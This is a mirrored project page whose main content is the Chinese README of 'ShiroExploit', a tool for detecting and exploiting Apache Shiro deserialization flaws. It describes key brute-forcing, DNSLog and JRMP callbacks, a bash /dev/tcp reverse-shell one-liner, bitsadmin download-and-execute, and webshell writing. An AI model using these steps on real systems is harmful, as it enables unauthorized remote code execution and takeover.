GitPlanet

Cheap and reliable Node.js hosting starts at $3/month, and $1/month static HTML hosting

Created with love in Canada, visit hostnodejs.com today

Feel like to post an Ad? Learn Details
All Projects → feihong-cs → Shiroexploit Deprecated

feihong-cs / Shiroexploit Deprecated

Shiro550/Shiro721 一键化利用工具，支持多种回显方式

Programming Languages

java
68154 projects - #9 most used programming language

Labels

shiro

Projects that are alternatives of or similar to Shiroexploit Deprecated

Dimpleblog
个人博客，目前3.0v版本正在开发中
Stars: ✭ 379 (-60.44%)
Mutual labels:  shiro
Shiro Example
跟我学Shiro（我的公众号：kaitao-1234567，我的新书：《亿级流量网站架构核心技术》）
Stars: ✭ 4,773 (+398.23%)
Mutual labels:  shiro
Javaquarkbbs
基于Spring Boot实现的一个简易的Java社区
Stars: ✭ 755 (-21.19%)
Mutual labels:  shiro
Highdsa
2018年本科毕设项目，已更新所有开发和部署文档。基于Dubbo、SSM、Shiro、ELK、ActiveMQ、Redis等实现的一套高可用、高性能、高可扩展的分布式系统架构，实现可支持业务的基础公共服务,API使用Restful风格对外暴露。已经实现的包括：发送邮件服务、FastDFS文件存储服务、ELK实时日志查询服务、Redis缓存服务、Mybatis数据库、阿里短信推送、Goeasy消息推送、Druid监控、ActiveMQ消息队列、shiro权限认证、cas单点登录、权限配置web系统、移动端后台系统。持续更新中......
Stars: ✭ 385 (-59.81%)
Mutual labels:  shiro
Shirojwt
API SpringBoot + Shiro + Java-Jwt + Redis(Jedis)
Stars: ✭ 503 (-47.49%)
Mutual labels:  shiro
Wetech Admin
wetech-admin是基于Spring Boot 2.0+Mybatis+Vue的轻量级后台管理系统，适用于中小型项目的管理后台，支持按钮级别的权限控制，系统具有最基本的用户管理、角色管理、权限管理等通用性功能，企业或个人可直接在此基础上进行开发，扩展，添加各自的需求和业务功能!
Stars: ✭ 570 (-40.5%)
Mutual labels:  shiro
Shiro Action
基于 Shiro 的权限管理系统，支持 restful url 授权，体验地址 :
Stars: ✭ 357 (-62.73%)
Mutual labels:  shiro
Ruoyi
(RuoYi)官方仓库 基于SpringBoot的权限管理系统 易读易懂、界面简洁美观。 核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖。直接运行即可用
Stars: ✭ 905 (-5.53%)
Mutual labels:  shiro
Springmvc Activiti5.16 Shiro
基于SpringMVC+Activiti 5.16 的简单OA，可以用作模版供以后学习用。
Stars: ✭ 503 (-47.49%)
Mutual labels:  shiro
Oneblog
👽 OneBlog，一个简洁美观、功能强大并且自适应的Java博客
Stars: ✭ 678 (-29.23%)
Mutual labels:  shiro
Buji Pac4j
pac4j security library for Shiro: OAuth, CAS, SAML, OpenID Connect, LDAP, JWT...
Stars: ✭ 444 (-53.65%)
Mutual labels:  shiro
Apache Shiro 1.2.x Reference
Chinese translation of the Apache Shiro Reference Manual(http://shiro.apache.org/reference) and the other article collection. You can also see the demos of the reference at (https://github.com/waylau/apache-shiro-1.2.x-reference-demos). 《Apache Shiro 参考手册》 中文翻译（包含了官方文档以及其他文章）
Stars: ✭ 468 (-51.15%)
Mutual labels:  shiro
Bootshiro
springboot+shiro+jwt
Stars: ✭ 578 (-39.67%)
Mutual labels:  shiro
Springall
循序渐进，学习Spring Boot、Spring Boot & Shiro、Spring Batch、Spring Cloud、Spring Cloud Alibaba、Spring Security & Spring Security OAuth2，博客Spring系列源码：https://mrbird.cc
Stars: ✭ 22,375 (+2235.59%)
Mutual labels:  shiro
Xmall
基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等
Stars: ✭ 6,493 (+577.77%)
Mutual labels:  shiro
Xinguan
SpringBoot+Vue+Element-UI (新冠-物资管理系统) 纯前后端分离项目， 抗疫相关物料的管理系统，领用、派发记录，库存查询统计。寂寞消遣之作~, 项目预览地址：https://www.zykhome.club 武汉加油
Stars: ✭ 359 (-62.53%)
Mutual labels:  shiro
Springboot Shiro
使用SpringBoot与shiro实现基于数据库的细粒度动态权限管理系统实例
Stars: ✭ 564 (-41.13%)
Mutual labels:  shiro
Oauth2 Shiro Jwt
use oauth2, shiro and spring specrity to make an ums system
Stars: ✭ 29 (-96.97%)
Mutual labels:  shiro
Webside
基于RBAC的完全响应式权限管理系统
Stars: ✭ 19 (-98.02%)
Mutual labels:  shiro
Febs Shiro
Spring Boot 2.4.2，Shiro1.6.0 & Layui 2.5.6 权限管理系统。预览地址：http://47.104.70.138:8080/login
Stars: ✭ 5,655 (+490.29%)
Mutual labels:  shiro
View All Similar Projects ➔

2019.11.9 update：

由于当初作者开发时能力有限，导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持（如更好的回显支持，更有效的gadget与直接支持内存shell等），此工具目前已相形见绌。请各位移步其他更优秀的项目，感谢各位的使用。

2019.9.20 update：

对回显方式进行了一次更新，希望现在能好用一点

2020.9.12 update：

很多回显方式在本地测试OK，但是在实际环境中却不行，这个问题我不知道该怎么解决，希望有师傅可以指导下或者一起讨论下。

ShiroExploit

支持对Shiro550（硬编码秘钥）和Shiro721（Padding Oracle）的一键化检测，支持多种回显方式

使用说明

第一步:按要求输入要检测的目标URL和选择漏洞类型

  • Shiro550无需提供rememberMe Cookie，Shiro721需要提供一个有效的rememberMe Cookie
  • 可以手工指定特定的 Key/Gadget/EchoType（支持多选），如果不指定会遍历所有的 Key/Gadget/EchoType
  • 复杂Http请求支持直接粘贴数据包 pic1

第二步: 选择攻击方式

pic2

选择 使用 ceye.io 进行漏洞检测

  • 可以不进行任何配置，配置文件中已经预置了 CEYE 域名和对应的 Token，当然也可以对其进行修改。
  • 程序会首先使用反序列化 SimplePrincipalCollection 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload
  • 缺点：程序会使用 API：http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果，这个 API 有时候会无法正常访问，导致在这种方式下无法找到 Key 或者有效的 Gadget

选择 使用 dnslog.cn 进行漏洞检测

  • 可以不进行任何配置，每次启动时程序会自动从 dnslog.cn 申请一个 DNS Record。
  • 程序会首先使用反序列化 SimplePrincipalCollection 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload
  • 缺点：少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget，且 dnslog.cn 只会记录最近的10条 DNS 解析记录

选择 使用 JRMP + dnslog 进行漏洞检测

  • 需要在 VPS 上通过命令java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService/JRMPListener，并按照要求填入相应 IP 和端口
  • 如果开启 HttpService/JRMPListener 时未指定端口号，则 HTTPService 默认监听 8080 端口，JRMPListener 默认监听 8088 端口
  • 使用 JRMP 的方式进行漏洞检测，可以显著减小 cookie 大小
  • 程序会首先使用反序列化 SimplePrincipalCollection 的方式筛选出唯一 Key，然后使用 JRMP 依次为各个 Gadget 生成对应的 JRMPListener

选择 使用回显进行漏洞检测

  • 针对不出网的情况进行漏洞检测，此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型
  • 程序会首先使用反序列化 SimplePrincipalCollection 的方式筛选出唯一 Key，然后依次判断可用的 Gadget 类型和回显方式
  • 支持多种回显方式，回显方式和代码请参考 deserizationEcho
  • 使用写文件回显方式时，可以提供一个静态资源 URL，程序会将此静态资源所在的目录当做写入目录，若不提供，则写入根目录
  • 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境，结果如下 echo1 echo2

第三步：检测漏洞并执行命令

  • 程序在判断目标应用是否存在漏洞时，窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时，输入框可以进行输入并执行命令。
  • 反弹shell（linux） 采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 的方式反弹 shell
  • 反弹shell（Windows） 采用 bitsadmin 下载指定 URL 的 exe 文件并执行的方式获取 shell
  • 获取Webshell 直接在使用者给出的路径（目录需要真实存在）下写入 webshell, webshell 名称和后缀名由使用者自行指定，webshell 的内容从 config 目录下的 shell.jsp 中读取 pic3

备注

在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时，均需要ysoserial.jar的支持，将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。

致谢

感谢 AgeloVito 怕冷的企鹅 给予本项目的技术支持

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].